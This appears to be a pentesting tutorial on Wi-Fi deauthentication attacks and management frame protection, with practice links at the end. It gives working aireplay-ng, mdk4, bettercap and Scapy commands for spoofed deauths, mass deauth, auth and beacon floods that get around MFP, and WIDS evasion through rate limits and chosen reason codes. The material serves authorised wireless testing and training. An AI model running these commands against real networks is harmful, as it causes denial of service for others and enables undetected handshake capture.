Last reviewed 7 min read

Wi-Fi exploitation
Beginner
T1499 T1040

Deauthentication Attacks

Deauthentication frames can disconnect clients from a network. This is used to capture handshakes, force clients to roam to an evil twin, or cause denial of service.

802.11w (Management Frame Protection)

Modern networks with MFP/PMF enabled protect management frames, making deauth attacks ineffective. WPA3 mandates 802.11w — on these networks a deauth will be silently dropped. airodump-ng does not expose the MFP flags, so read the RSN capabilities with iw dev <iface> scan or tshark instead.

Deauth & PMF bypass

Reading the RSN MFPC (bit 6) and MFPR (bit 7) bits decides the technique: with MFP off a spoofed deauth disconnects clients, while MFPR-required networks need CSA injection or auth/beacon flooding that sidesteps the dropped deauth frames.

Deauth Fundamentals

802.11 deauthentication frames are unencrypted management frames (in networks without 802.11w). Any device can spoof a deauth from the AP's BSSID to disconnect clients. Use cases in pentesting:

  • Handshake capture: Force WPA 4-way handshake by disconnecting a client
  • Evil twin herding: Push clients from real AP to your rogue AP
  • Hidden SSID reveal: Force client reassociation to expose SSID in probes
  • Denial of service: Continuously deauth all clients from target AP
  • PMKID capture: Force AP to re-send PMKID in first EAPOL frame

Aireplay-ng

Deauthenticate a single client.

01-single-deauth.sh
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon

Broadcast deauth to all clients (continuous).

02-broadcast-deauth.sh
sudo aireplay-ng -0 0 -a AA:BB:CC:DD:EE:FF wlan0mon

MDK4 Advanced Deauth

MDK4 is more powerful than aireplay — it supports various deauth/disassociation modes and can target multiple BSSIDs simultaneously.

03-mdk4-deauth.sh
# Target specific AP
echo "AA:BB:CC:DD:EE:FF" > target.txt
sudo mdk4 wlan0mon d -b target.txt

# Deauth with both deauth AND disassociation frames
sudo mdk4 wlan0mon d -b target.txt -c 6

# Mass deauth all visible networks (DESTRUCTIVE!)
sudo mdk4 wlan0mon d

Bettercap

Deauth using Bettercap's integrated WiFi module.

04-bettercap-deauth.sh
sudo bettercap -iface wlan0mon
> wifi.recon on
> wifi.deauth AA:BB:CC:DD:EE:FF

802.11w (MFP) Interaction

802.11w (Management Frame Protection / PMF) is the primary defense against deauthentication attacks. Understanding whether MFP is enabled determines which attack techniques will work.

Detecting MFP Status

05-detect-mfp.sh
# airodump-ng does not expose MFP flags (its columns are ENC/CIPHER/AUTH).
# Read the RSN Capabilities bits directly with iw (run the scan on the
# managed interface, not the monitor interface, which cannot scan):
sudo iw dev wlan0 scan | grep -A 15 "CorpWiFi" | grep -i "pmf|mfp|capabilities"

# Wireshark filter — check RSN capabilities field
# Bit 6 = MFPC (capable), Bit 7 = MFPR (required)
tshark -i wlan0mon -Y "wlan.fc.type_subtype == 0x08" \
  -T fields -e wlan.ssid -e wlan.rsn.capabilities.mfpc -e wlan.rsn.capabilities.mfpr

MFP Status Impact on Attacks

MFP Setting Deauth Works? Alternative Attack
DisabledYes — fully effectiveStandard deauth with any tool
Optional (MFPC)Depends on clientWorks on clients that didn't negotiate MFP
Required (MFPR)No — silently droppedCSA, beacon flood, TKIP countermeasures, channel DoS

Bypasses When MFP Is Required

06-mfp-bypass.sh
# Bypass 1: Channel Switch Announcement (CSA) injection
# Spoof CSA action frames from the AP, telling clients to move to a different channel.
# Clients obey CSA even with MFP — it's processed before authentication.
# mdk4 has no CSA mode, so craft the action frames with Scapy (or a dedicated
# CSA-injection tool) rather than trying to do it with a deauth command.

# Bypass 2: Rogue AP on same SSID without MFP
# If AP uses MFPC (optional), create a twin without MFP
# Clients that connect to your AP won't have MFP protection
# Then deauth them from your own AP freely

# Bypass 3: Auth flood (exhaust AP association table)
# Flood the AP with fake authentication requests
# When association table is full, legitimate clients can't re-associate
sudo mdk4 wlan0mon a -a AA:BB:CC:DD:EE:FF

# Bypass 4: Beacon flood to confuse clients
# Create hundreds of fake APs on the same channel
# Overwhelms client network selection
sudo mdk4 wlan0mon b -f ssid-list.txt -c 6

Detection Evasion

Enterprise WLANs often deploy Wireless Intrusion Detection Systems (WIDS) that alert on deauthentication floods. These techniques reduce detection probability.

WIDS Detection Thresholds

Most WIDS solutions (Cisco CleanAir, Aruba WIDS, Meraki Air Marshal) trigger on deauth frame rates exceeding ~10–20 per second per BSSID. Staying below this threshold avoids most automated alerts.

Low-and-Slow Deauthentication

07-evasion-slow.sh
# Technique 1: Rate-limited deauth (1 burst every 30 seconds)
# Only need a single deauth to trigger handshake re-capture
for i in $(seq 1 5); do
  sudo aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon
  sleep 30
done

# Technique 2: Target only high-value clients
# Instead of broadcast deauth, target specific client MACs
# identified during recon — this generates far fewer frames
sudo aireplay-ng -0 2 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon

# Technique 3: Disassociation instead of deauthentication
# aireplay-ng's -0 always sends deauth reason code 7 and cannot be changed
# (the Scapy example below can set an arbitrary reason code).
sudo mdk4 wlan0mon d -b target.txt -s 1    # -s = packets per second

Reason Code Manipulation

Deauth frames contain a reason code that tells the client why it was disconnected. Some look more legitimate than others. WIDS and analysts examine these.

Code Meaning Stealth Level Notes
1UnspecifiedLowObvious attack indicator
3STA leavingHighLooks like normal client disconnect
4InactivityHighMimics AP idle timeout
5AP busyMediumPlausible during congestion
7Class 3 from non-assocLowDefault aireplay-ng — most flagged
8STA leaving BSSHighDisassociation — less monitored
08-scapy-deauth.py
# Scapy — craft deauths with custom reason codes
python3 << 'EOF'
from scapy.all import *

# Reason code 3 = "Deauthenticated because sending STA is leaving"
# Looks like a natural client disconnect from the AP's perspective
ap_mac = "AA:BB:CC:DD:EE:FF"
client_mac = "CC:DD:EE:FF:00:11"
iface = "wlan0mon"

# Craft deauth from AP to client (reason 3)
pkt = RadioTap() / Dot11(
    addr1=client_mac,   # destination
    addr2=ap_mac,       # source (spoofed AP)
    addr3=ap_mac        # BSSID
) / Dot11Deauth(reason=3)

# Send with random inter-packet delay (evasion)
sendp(pkt, iface=iface, count=3, inter=0.5)
EOF

Targeted Deauth Strategy

Effective deauthentication requires a tactical approach rather than blind flooding. Match the technique to your objective for best results and lowest detection risk.

Objective Technique Frames Needed WIDS Risk
WPA handshake captureSingle client, 2–5 frames2–5Minimal
Evil twin herdingSustained targeted, 10 sec bursts50–100Medium
Hidden SSID revealSingle client, 1–3 frames1–3Minimal
DoS demonstrationBroadcast, continuous∞Very High
PMKID captureAP-only (hcxdumptool)0 (passive)None

Verify It Worked

Check Expected Where to look
Deauth lands (non-MFP) The targeted client drops and reassociates (or the AP re-sends the 4-way handshake) The airodump-ng client list
MFP status read correctly iw dev wlan0 scan or tshark shows the RSN MFPC (bit 6) and MFPR (bit 7) capabilities The scan or tshark field output
Bypass works under MFPR The auth flood or beacon flood (mdk4 a / b) disrupts clients even though deauth is dropped The targeted clients behaviour

Deauthentication Attack Practice

Practice deauth attacks, handshake capture, and MFP testing in isolated lab environments.

WiFi Hacking 101 TryHackMe easy
WPA2 handshake capturedeauth/injectionaircrack-nghashcat HCCAPXmonitor mode
Wireless Security TryHackMe easy
wireless attack conceptsrogue AP / evil twin (conceptual)WPSWPA3 & 802.1XBLE/RFID